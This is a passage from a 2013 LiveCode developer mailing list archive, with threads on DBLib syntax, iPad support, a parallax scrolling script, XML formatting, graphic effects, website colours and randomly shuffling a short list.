Using DBLib and MySQL In-Reply-To: References: Message-ID: I get an error on that line: *put* dbInsert("names", tDataA) into tResult Going to register now on your forum. On Wed, May 22, 2013 at 8:21 AM, Shawn Blc wrote: > Thank you Andre. I'll start posting my related questions on your forum. > I'll give that a shot and update you. Thank you for the quick response! > > > On Wed, May 22, 2013 at 8:19 AM, Andre Garzia wrote: > >> On Wed, May 22, 2013 at 10:06 AM, Shawn Blc >> wrote: >> >> > put dbInsert["names", tDataA] into tResult >> >> >> Shawn, >> >> You are using brackets instead of parenthesis. It should read: >> >> put dbInsert("names", tDataA) into tResult >> >> Also the best place to ask for DB Lib related help is on my forum at >> >> http://andregarzia.com/forum >> >> I receive a ping when you post there. I check this list less frequently, >> just about 20 times a day ;-) >> >> >> -- >> http://www.andregarzia.com -- All We Do Is Code. >> http://fon.nu -- minimalist url shortening service. >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > From dunbarx at aol.com Wed May 22 09:37:45 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Wed, 22 May 2013 09:37:45 -0400 (EDT) Subject: LC on iPad? In-Reply-To: <519C77E4.4050604@economy-x-talk.com> References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> <519C77E4.4050604@economy-x-talk.com> Message-ID: <8D02508ACE806F1-FFC-18E2@webmail-m244.sysops.aol.com> I read on the LC website that iPad was supported. True? Craig Newman From gerry.orkin at gmail.com Wed May 22 09:43:55 2013 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Wed, 22 May 2013 23:43:55 +1000 Subject: LC on iPad? In-Reply-To: <8D02508ACE806F1-FFC-18E2@webmail-m244.sysops.aol.com> References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> <519C77E4.4050604@economy-x-talk.com> <8D02508ACE806F1-FFC-18E2@webmail-m244.sysops.aol.com> Message-ID: True. g On 22/05/2013, at 11:37 PM, dunbarx at aol.com wrote: > > > I read on the LC website that iPad was supported. True? > Craig Newman > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From gcanyon at gmail.com Wed May 22 10:28:09 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Wed, 22 May 2013 09:28:09 -0500 Subject: scrolling stack I made In-Reply-To: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> Message-ID: Hi Colin, Nice work! I added timing code to get the framerate. On my macbook pro when nothing is actually moving, it achieves about 40 fps. When the images are moving it drops to about 24 fps. I'd be curious how using the move command might compare. I don't think it would be faster since with each frame it's likely that all the commands would have to be canceled and re-issued to change the speed. I also simplified the movement routine to a single line to update the position of each object, which eliminated the need to store the position in the array. Feel free to use anything or nothing from this: global places,worldx,difx local frameratecounter,secondmarker on opencard resetobjects put 0 into difx if the environment is mobile then mobileEnableAccelerometer 100 moveworld end opencard on accelerationChanged pXAccel, pYAccel, pZAccel put min(100,max(-100,pYAccel*10)) into difx end accelerationChanged on moveworld if the environment is not mobile then put (512-the mouseh)/100 into difx end if movethings difx add 1 to frameratecounter if seconds() is not secondmarker then put frameratecounter put 0 into frameratecounter put seconds() into secondmarker end if if the optionkey is not down then send moveworld to me in 16 milliseconds end moveworld on resetobjects lock screen put 0 into oldvalue put 0 into worldx put "" into places split places by return addimage "lc1",the left of img "lc1",8 repeat with a = 1 to 100 put "lc_"&a into imagename if there is not an image imagename then clone image "lc1" set the name of image the number of images to imagename end if set the width of image imagename to min(256,1024/min(101-a,100)) set the height of image imagename to min(256,1024/min(101-a,100)) set the top of image imagename to random(500) set the left of image imagename to random(2048) addimage imagename,the left of image imagename,min(10+(101-a) / 3,100) end repeat addimage "sky1",0,60 addimage "sky2",1024,60 addimage "hills1",0,40 addimage "hills2",1024,40 addimage "tracks1",0,20 addimage "tracks2",1024,20 addimage "farhedges1",0,10 addimage "farhedges2",1024,10 addimage "nearhedges1",0,5 addimage "nearhedges2",1024,5 movethings worldx repeat with a = 1 to the number of images set the layerMode of img a to dynamic end repeat unlock screen end resetobjects on addimage imagename, imageplace, imagespeed put imagename into places[imagename]["imagename"] set the left of image imagename to imageplace put imagespeed into places[imagename]["imagespeed"] end addimage on movethings howmuch lock screen repeat for each element a in places set the left of image a["imagename"] to trunc(3072 + the left of image a["imagename"] + howmuch*100/a["imagespeed"]) mod 2048 - 1024 end repeat unlock screen end movethings From richmondmathewson at gmail.com Wed May 22 10:38:26 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 22 May 2013 17:38:26 +0300 Subject: [OT] Devawroter Pro Message-ID: <519CD862.7050603@gmail.com> Please help. http://www.indiegogo.com/projects/devawriter/x/3379741#share Love, Richmond. From webmaster at curiositi.com Wed May 22 10:40:45 2013 From: webmaster at curiositi.com (webmaster at curiositi.com) Date: Wed, 22 May 2013 09:40:45 -0500 Subject: revXMLText not formatting =?UTF-8?Q?output=3F?= Message-ID: <57b1ca5eb49fb1f0208a604325071c72@curiositi.com> Has anyone had success using revXMLText to output a formatted XML file from an XML Tree? The dictionary says the last parameter should control this feature. From the dictionary: revXMLText(treeID [,startNode] [, formatted]) [...] formatted - Whether or not to produce xml with indenting and line breaks, i.e. "pretty-printed". If you don't specify a formatted value, the default is not to format the text, this will result in the xml being output as a single block with no line breaks. Here are the commands I am using: open file tCurrFolderPath & "/element.xml" for write write revXMLText(tTreeID, ,true) to file tCurrFolderPath & "/element.xml" close file tCurrFolderPath & "/element.xml" The resulting file does not have indenting and line breaks. Should I be entering a different value for the formatted parameter? --ForrestD From MikeKerner at roadrunner.com Wed May 22 10:48:50 2013 From: MikeKerner at roadrunner.com (Mike Kerner) Date: Wed, 22 May 2013 10:48:50 -0400 Subject: LC on iPad? In-Reply-To: References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> <519C77E4.4050604@economy-x-talk.com> <8D02508ACE806F1-FFC-18E2@webmail-m244.sysops.aol.com> Message-ID: Just to be clear - you don't run the LC development tools on iOS devices. The development tools run on OSX, Win, and Linux. The apps you write can be made for the various iOS and Android devices. On Wed, May 22, 2013 at 9:43 AM, Gerry Orkin wrote: > True. > > g > > > On 22/05/2013, at 11:37 PM, dunbarx at aol.com wrote: > > > > > > > I read on the LC website that iPad was supported. True? > > Craig Newman > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- On the first day, God created the heavens and the Earth On the second day, God created the oceans. On the third day, God put the animals on hold for a few hours, and did a little diving. And God said, "This is good." From coiin at verizon.net Wed May 22 10:56:43 2013 From: coiin at verizon.net (Colin Holgate) Date: Wed, 22 May 2013 10:56:43 -0400 Subject: LC on iPad? In-Reply-To: <8D02508ACE806F1-FFC-18E2@webmail-m244.sysops.aol.com> References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> <519C77E4.4050604@economy-x-talk.com> <8D02508ACE806F1-FFC-18E2@webmail-m244.sysops.aol.com> Message-ID: Supported in that you can publish apps for iPad. Did you see something that suggested that the Livecode IDE could run on iPad? On May 22, 2013, at 9:37 AM, DunbarX at aol.com wrote: > > >I read on the LC website that iPad was supported. True? From coiin at verizon.net Wed May 22 11:00:37 2013 From: coiin at verizon.net (Colin Holgate) Date: Wed, 22 May 2013 11:00:37 -0400 Subject: scrolling stack I made In-Reply-To: References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> Message-ID: The use of an array value was intentional. Try your version and my version while moving very slowly, you'll see that lots of the images will stall in your one. That's because the value keeps rounding down to the nearest pixel. The array approach makes the location be floating point, and so over time the image will reach the next integer value. On May 22, 2013, at 10:28 AM, Geoff Canyon wrote: > I also simplified the movement routine to a single line to update the > position of each object, which eliminated the need to store the position in > the array. From pete at lcsql.com Wed May 22 12:35:44 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 22 May 2013 09:35:44 -0700 Subject: Graphic effects parms In-Reply-To: References: Message-ID: Thanks Scott. Pete lcSQL Software On Tue, May 21, 2013 at 5:49 PM, Scott Rossi wrote: > I tried it after I saw your note. This parameter doesn't appear to affect > anything in the resulting effect that I can see. > > Unrelated (but important to me): the effect of the spread parameter for > innerglow when set to "edge" needs to be updated, as it's currently > backwards. Increasing the spread value causes the effect to move outwards > from the object, instead of inwards. The RunRev guys probably overlooked > this since spread often produces an outward effect, but it's annoying. > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX/UI Design > > > > > On 5/21/13 3:57 PM, "Peter Haworth" wrote: > > >Thanks SCott. Any ideas on the "range" parameter for innerglow and > >outerglow? > > > >Pete > >lcSQL Software > > > > > >On Tue, May 21, 2013 at 10:59 AM, Scott Rossi > >wrote: > > > >> The knockout option determines whether the shape of the target object is > >> subtracted from the underlying dropshadow effect. In general, knockout > >>is > >> better disabled because a feint halo of card color can seep through the > >> region where the dropshadow meets the object. You may want to enable > >> knockout when your source object is translucent, so the dropshadow > >>"stops" > >> at the edges of the object. > >> > >> Innerglow can either begin from the center of the target object, or from > >> the "edge". > >> > >> tmEffects doesn't include control settings for these (esoteric) options > >>to > >> save space, but you can define default values for all effects settings > >>in > >> the card script of the palette. > >> > >> Regards, > >> > >> Scott Rossi > >> Creative Director > >> Tactile Media, UX/UI Design > >> > >> > >> > >> > >> On 5/21/13 10:30 AM, "Peter Haworth" wrote: > >> > >> >There are a couple of graphic effects parms in the Inspector that > >>aren't > >> >documented in the dictionary. > >> > > >> >The dropShadow effect has a "knockout" parm which is a checkbox in the > >>IDE > >> >inspector. The innerGlow effect has a "source" parm which is an option > >> >menu in the IDE inspector but always seems to be disabled. Looking at > >>the > >> >array for innerGlow, it has a value of "edge" > >> > > >> >Any clues as to what these mystery parms might be? > >> > > >> >I'm also having problems with the Inspecotr Graphic Effects tab in that > >> >the > >> >parameters for all the effects except dropshadow are always disabled, > >>even > >> >though the effect is applied. A good reason to use Scott's recent > >> >tmEffects palette I guess! > >> > > >> >Pete > >> >lcSQL Software > >> >_______________________________________________ > >> >use-livecode mailing list > >> >use-livecode at lists.runrev.com > >> >Please visit this url to subscribe, unsubscribe and manage your > >> >subscription preferences: > >> >http://lists.runrev.com/mailman/listinfo/use-livecode > >> > > >> > >> > >> > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > >_______________________________________________ > >use-livecode mailing list > >use-livecode at lists.runrev.com > >Please visit this url to subscribe, unsubscribe and manage your > >subscription preferences: > >http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From gcanyon at gmail.com Wed May 22 13:02:54 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Wed, 22 May 2013 12:02:54 -0500 Subject: scrolling stack I made In-Reply-To: References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> Message-ID: Funny, I thought I was getting away with it because I was scrolling to the left, where the use of trunc instead of round meant that even at the slowest setting, everything was moving, in some cases too fast. Here it is adapted to use the array again. It's too bad (for this) that the loc can't use a fractional value and just work. on addimage imagename, imageplace, imagespeed put imagename into places[imagename]["imagename"] put imageplace into places[imagename]["imageplace"] put imagespeed into places[imagename]["imagespeed"] end addimage on movethings howmuch lock screen repeat for each key K in places put (3072 + places[K]["imageplace"] + howmuch*100/places[K]["imagespeed"]) mod 2048 - 1024 into places[K]["imageplace"] set the left of image places[K]["imagename"] to trunc(places[K]["imageplace"]) end repeat unlock screen end movethings On Wed, May 22, 2013 at 10:00 AM, Colin Holgate wrote: > The use of an array value was intentional. Try your version and my version > while moving very slowly, you'll see that lots of the images will stall in > your one. That's because the value keeps rounding down to the nearest > pixel. The array approach makes the location be floating point, and so over > time the image will reach the next integer value. > > > On May 22, 2013, at 10:28 AM, Geoff Canyon wrote: > > > I also simplified the movement routine to a single line to update the > > position of each object, which eliminated the need to store the position > in > > the array. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From MikeKerner at roadrunner.com Wed May 22 13:37:38 2013 From: MikeKerner at roadrunner.com (Mike Kerner) Date: Wed, 22 May 2013 13:37:38 -0400 Subject: Lime green text on new Livecode website In-Reply-To: References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> <519C77E4.4050604@economy-x-talk.com> <519CACD3.6040003@gmail.com> <0683A539-00E9-42AB-9623-6DAF2BDC86C7@paulmaguire.me> Message-ID: A darker background would help. I agree that the text is really hard to read, but I think the color is ok. On Wed, May 22, 2013 at 8:59 AM, Terry Judd wrote: > On 22/05/2013, at 9:41 PM, "Paul Maguire" wrote: > > > On 22 May 2013, at 12:32, Richmond wrote: > >> I don't know what that greeny-yellow colour is; personally I call it > "squashed caterpillar" > > > > I like it. I admit though that it would fail accessibility tests in a > public space like a museum. > > Yeah - I like it for the logo too. For text, not so much. > > > > Any caterpillars that colour are too close to a nuclear power station. > How to describe it? Acieeeeeeed! > > > > Kind regards, Paul. > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- On the first day, God created the heavens and the Earth On the second day, God created the oceans. On the third day, God put the animals on hold for a few hours, and did a little diving. And God said, "This is good." From dixonja at hotmail.co.uk Wed May 22 13:44:26 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Wed, 22 May 2013 18:44:26 +0100 Subject: Lime green text on new Livecode website In-Reply-To: References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au>, <519C77E4.4050604@economy-x-talk.com>, , <519CACD3.6040003@gmail.com>, <0683A539-00E9-42AB-9623-6DAF2BDC86C7@paulmaguire.me>, , Message-ID: How does one perform an accessibility test in an open public space ?... :-) I know some people who have vegetable gardens who think 'squashed caterpillars' are a good thing... And the new logo with its yellow and green ?... I for one, like it > From: MikeKerner at roadrunner.com > Date: Wed, 22 May 2013 13:37:38 -0400 > Subject: Re: Lime green text on new Livecode website > To: use-livecode at lists.runrev.com > > A darker background would help. I agree that the text is really hard to > read, but I think the color is ok. > > > On Wed, May 22, 2013 at 8:59 AM, Terry Judd wrote: > > > On 22/05/2013, at 9:41 PM, "Paul Maguire" wrote: > > > > > On 22 May 2013, at 12:32, Richmond wrote: > > >> I don't know what that greeny-yellow colour is; personally I call it > > "squashed caterpillar" > > > > > > I like it. I admit though that it would fail accessibility tests in a > > public space like a museum. > > > > Yeah - I like it for the logo too. For text, not so much. > > > > > > Any caterpillars that colour are too close to a nuclear power station. > > How to describe it? Acieeeeeeed! > > > > > > Kind regards, Paul. > > > > > > > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > -- > On the first day, God created the heavens and the Earth > On the second day, God created the oceans. > On the third day, God put the animals on hold for a few hours, > and did a little diving. > And God said, "This is good." > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From cmsheffield at icloud.com Wed May 22 13:59:42 2013 From: cmsheffield at icloud.com (Chris Sheffield) Date: Wed, 22 May 2013 11:59:42 -0600 Subject: randomly order a list Message-ID: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: sort lines of myVar by random(the number of lines of myVar) But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. So does anyone have a good way to do this? Thanks, Chris -- Chris Sheffield Read Naturally, Inc. www.readnaturally.com From bvg at mac.com Wed May 22 14:17:15 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Wed, 22 May 2013 20:17:15 +0200 Subject: randomly order a list In-Reply-To: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> Message-ID: <68ED4F88-AA05-462D-87E8-5F4F1D36FC03@mac.com> If you want random sorts, don't change the randomseed. It's set for you on startup, and only should be set if you want non-random things to happen. If you sort three lines randomly there's a pretty high chance that a given line remains on the same line for two consecutive times. It's not 'always' but often. Three is just not very random to begin with :) If you want to make sure a given line is at a given place, you should insert it yourself, and not rely on sort, because that's random, and includes your chosen line. For example: put "option1" & return & "option2" into theLines sort theLines by random(the number of lines of theLines) put "option3" & return before line random(2) of theLines --will never be last line On 22.05.2013, at 19:59, Chris Sheffield wrote: > I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: > > sort lines of myVar by random(the number of lines of myVar) > > But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. > > So does anyone have a good way to do this? > > Thanks, > Chris > > > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From harrison at all-auctions.com Wed May 22 14:24:29 2013 From: harrison at all-auctions.com (Rick Harrison) Date: Wed, 22 May 2013 14:24:29 -0400 Subject: Test - Please ignore this message In-Reply-To: References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> <519C77E4.4050604@economy-x-talk.com> <8D02508ACE806F1-FFC-18E2@webmail-m244.sysops.aol.com> Message-ID: Hi there, What are you looking here for? I told you to ignore the message! Thanks, Rick P.S. I had some issues with my mail server and I wanted to be sure everything is now working correctly. From dunbarx at aol.com Wed May 22 14:24:35 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Wed, 22 May 2013 14:24:35 -0400 (EDT) Subject: randomly order a list In-Reply-To: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> Message-ID: <8D02530BF317FBD-2390-57B2@webmail-m164.sysops.aol.com> Chris. With only three lines, are you sure you are not just seeing possible similar consecutive sorts, since there are not that many options? Try hitting the sort button again. It should work out as advertised. But with only three, the possibility of keeping the same order, or having one stay in place, is high. If you cannot provide more than three options, maybe it is best to invoke a string of "random" sorts: 1,2,3 3,1,2 2,3,1 3,2,1 1,3,2 2,1,3 and choose one of these at random, or maybe just run through that list, ordering your answers according to the order of the next line in the list. Craig Newman -----Original Message----- From: Chris Sheffield To: How to use LiveCode Sent: Wed, May 22, 2013 2:01 pm Subject: randomly order a list I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: sort lines of myVar by random(the number of lines of myVar) But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. So does anyone have a good way to do this? Thanks, Chris -- Chris Sheffield Read Naturally, Inc. www.readnaturally.com _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Wed May 22 14:35:06 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 22 May 2013 21:35:06 +0300 Subject: Lime green text on new Livecode website In-Reply-To: References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au>, <519C77E4.4050604@economy-x-talk.com>, , <519CACD3.6040003@gmail.com>, <0683A539-00E9-42AB-9623-6DAF2BDC86C7@paulmaguire.me>, , Message-ID: <519D0FDA.5020408@gmail.com> On 05/22/2013 08:44 PM, John Dixon wrote: > How does one perform an accessibility test in an open public space ?... :-) I know some people who have vegetable gardens who think 'squashed caterpillars' are a good thing... > > And the new logo with its yellow and green ?... I for one, like it > > > The common Cabbage-White caterpillar does rather nice dark-green poos (often called 'British Racing Green') which would look rather fine on the website. My objection to the logo is the lack of sufficient contrast between the LC and the icon. Richmond. From richmondmathewson at gmail.com Wed May 22 14:36:24 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 22 May 2013 21:36:24 +0300 Subject: Test - Please ignore this message In-Reply-To: References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> <519C77E4.4050604@economy-x-talk.com> <8D02508ACE806F1-FFC-18E2@webmail-m244.sysops.aol.com> Message-ID: <519D1028.8050301@gmail.com> On 05/22/2013 09:24 PM, Rick Harrison wrote: > Hi there, > > What are you looking here for? The secret of the treasure of the Sierra Madre. Whoops, so that's what is called a rhetorical question . . . LOL > > I told you to ignore the message! > > Thanks, > > Rick > > P.S. I had some issues with my mail server > and I wanted to be sure everything is > now working correctly. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From iowahengst at mac.com Wed May 22 14:39:06 2013 From: iowahengst at mac.com (Randy Hengst) Date: Wed, 22 May 2013 13:39:06 -0500 Subject: randomly order a list In-Reply-To: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> Message-ID: <1B25C190-3FE6-44CD-8F43-7BE9D14A6AC5@mac.com> Chris, I think your problem is the use of the word "lines"? These versions will show the difference: on mouseUp local myVar put "one,two,three" into myVar put myVar wait 30 sort lines of myVar by random(10000) put myVar end mouseUp on mouseUp local myVar put "one,two,three" into myVar put myVar wait 30 sort items of myVar by random(10000) put myVar end mouseUp on mouseUp local myVar put "one" & return & "two" & return & "three" into myVar -- now myVar has lines put myVar wait 30 sort lines of myVar by random(10000 put myVar end mouseUp be well, randy ----- On May 22, 2013, at 12:59 PM, Chris Sheffield wrote: > I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: > > sort lines of myVar by random(the number of lines of myVar) > > But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. > > So does anyone have a good way to do this? > > Thanks, > Chris > > > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dsc at swcp.com Wed May 22 15:58:47 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 22 May 2013 13:58:47 -0600 Subject: randomly order a list In-Reply-To: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> Message-ID: Try replacing 'the number of lines of myVar' with some huge number you think is allowed for random(), say 999999. With small numbers you are likely to get the same number for different lines and perhaps sort does not change order in that case. Dar On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: > I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: > > sort lines of myVar by random(the number of lines of myVar) > > But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. > > So does anyone have a good way to do this? > > Thanks, > Chris > > > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com --------------------------- Dar Scott dba Dar Scott Consulting 8637 Horacio Place NE Albuquerque, NM 87111 Lab, home, office phone: +1 505 299 9497 For Skype and fax, please contact. dsc at swcp.com Computer programming and tinkering, usually in supporting those developing in LiveCode--typically by making LiveCode controls, libraries and externals, and sometimes by writing associated microcontroller firmware. --------------------------- We can not force our goodwill on anyone, we can only set good examples and hope people wish to emulate us. --Ron Paul From dunbarx at aol.com Wed May 22 16:46:14 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Wed, 22 May 2013 16:46:14 -0400 (EDT) Subject: RandomSeed test (was:randomly order a list) In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> Message-ID: <8D0254488E17F3C-2390-6E37@webmail-m164.sysops.aol.com> Sorting by a randomSeed greater than the number of elements of a sample does not help. With the following in a fld 1: aaa,bbb,ccc and this in a button: on mouseUp get fld 1 repeat 1000 sort items of it by random(3) put it & return after lowSeed end repeat repeat 1000 sort items of it by random(3333) put it & return after highSeed end repeat repeat with y = 1 to the number of lines of lowSeed add 1 to lowSeedCounter[line y of lowSeed] end repeat repeat with y = 1 to the number of lines of highSeed add 1 to highSeedCounter[line y of highSeed] end repeat end mouseUp The distribution of the two groups is about the same. Craig Newman -----Original Message----- From: Dar Scott To: How to use LiveCode Sent: Wed, May 22, 2013 3:59 pm Subject: Re: randomly order a list Try replacing 'the number of lines of myVar' with some huge number you think is allowed for random(), say 999999. With small numbers you are likely to get the same number for different lines and perhaps sort does not change order in that case. Dar On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: > I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: > > sort lines of myVar by random(the number of lines of myVar) > > But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. > > So does anyone have a good way to do this? > > Thanks, > Chris > > > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com --------------------------- Dar Scott dba Dar Scott Consulting 8637 Horacio Place NE Albuquerque, NM 87111 Lab, home, office phone: +1 505 299 9497 For Skype and fax, please contact. dsc at swcp.com Computer programming and tinkering, usually in supporting those developing in LiveCode--typically by making LiveCode controls, libraries and externals, and sometimes by writing associated microcontroller firmware. --------------------------- We can not force our goodwill on anyone, we can only set good examples and hope people wish to emulate us. --Ron Paul _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From dsc at swcp.com Wed May 22 17:03:48 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 22 May 2013 15:03:48 -0600 Subject: randomly order a list In-Reply-To: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> Message-ID: <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> I think you are going to get the first line of the original list (correct answer) about half the time. Does that seem right to you from what you have seen? The correct answer will be in the first two about 80% of the time. Using the larger argument for random should give you better proportions. You should get it in the first line a third of the time. If you only interested in the first line, there might be some methods that are clearer and more fun. Dar On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: > I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: > > sort lines of myVar by random(the number of lines of myVar) > > But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. > > So does anyone have a good way to do this? > > Thanks, > Chris > > > -- > Chris Sheffield > Read Naturally, 